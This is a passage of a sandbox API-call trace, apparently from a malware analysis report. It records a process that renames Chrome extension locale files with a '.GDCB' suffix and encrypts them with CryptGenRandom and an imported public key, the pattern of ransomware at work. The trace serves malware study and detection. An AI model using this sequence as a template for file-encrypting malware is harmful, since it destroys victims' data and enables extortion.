settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.868] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.871] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.873] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xf6, lpOverlapped=0x0) returned 1 [0255.881] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.888] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json.gdcb")) returned 1 [0255.893] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.899] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.899] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0255.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.904] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.904] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.904] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.904] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.906] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b1a78) returned 1 [0255.906] CryptGetKeyParam (in: hKey=0x66b1a78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.906] CryptEncrypt (in: hKey=0x66b1a78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.907] GetLastError () returned 0x0 [0255.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.907] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.909] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b1d78) returned 1 [0255.909] CryptGetKeyParam (in: hKey=0x66b1d78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.909] CryptEncrypt (in: hKey=0x66b1d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.909] GetLastError () returned 0x0 [0255.909] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.909] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.910] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.913] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.915] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x108, lpOverlapped=0x0) returned 1 [0255.924] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.938] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json.gdcb")) returned 1 [0255.944] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.947] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.949] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.949] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.949] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.949] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0255.951] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.954] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.954] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.954] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.956] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67821c8) returned 1 [0255.956] CryptGetKeyParam (in: hKey=0x67821c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.956] CryptEncrypt (in: hKey=0x67821c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.957] GetLastError () returned 0x0 [0255.957] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.957] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.959] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x5a4a18) returned 1 [0255.959] CryptGetKeyParam (in: hKey=0x5a4a18, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.959] CryptEncrypt (in: hKey=0x5a4a18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.959] GetLastError () returned 0x0 [0255.959] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.959] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.960] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.963] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.965] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcf, lpOverlapped=0x0) returned 1 [0255.974] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.985] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.gdcb")) returned 1 [0255.993] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.997] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.000] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.000] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.000] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.000] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.006] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.006] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.012] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b01f8) returned 1 [0256.012] CryptGetKeyParam (in: hKey=0x66b01f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.012] CryptEncrypt (in: hKey=0x66b01f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.012] GetLastError () returned 0x0 [0256.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.012] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.014] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67902a0) returned 1 [0256.014] CryptGetKeyParam (in: hKey=0x67902a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.014] CryptEncrypt (in: hKey=0x67902a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.014] GetLastError () returned 0x0 [0256.014] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.014] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.016] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.019] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.021] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xde, lpOverlapped=0x0) returned 1 [0256.029] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.035] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.gdcb")) returned 1 [0256.041] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0256.044] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.046] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.046] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0256.046] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.049] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.051] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.052] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.052] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.052] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.054] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790720) returned 1 [0256.054] CryptGetKeyParam (in: hKey=0x6790720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.054] CryptEncrypt (in: hKey=0x6790720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.054] GetLastError () returned 0x0 [0256.054] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.054] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.056] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67903e0) returned 1 [0256.056] CryptGetKeyParam (in: hKey=0x67903e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.056] CryptEncrypt (in: hKey=0x67903e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.056] GetLastError () returned 0x0 [0256.056] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0256.058] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0256.060] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0256.065] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xd8, lpOverlapped=0x0) returned 1 [0256.075] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0256.082] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json.gdcb")) returned 1 [0256.087] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.090] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.092] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0256.092] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.092] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0256.094] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0256.098] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0256.098] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0256.098] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.098] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0256.100] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67900e0) returned 1 [0256.100] CryptGetKeyParam (in: hKey=0x67900e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.100] CryptEncrypt (in: hKey=0x67900e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0256.100] GetLastError () returned 0x0 [0256.100] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0256.101] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0256.102] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6790760) returned 1 [0256.102] CryptGetKeyParam (in: hKey=0x6790760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0256.102] CryptEncrypt (in: hKey=0x6790760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0256.103] GetLastError () returned 0x0 [0256.103] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0256.103] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 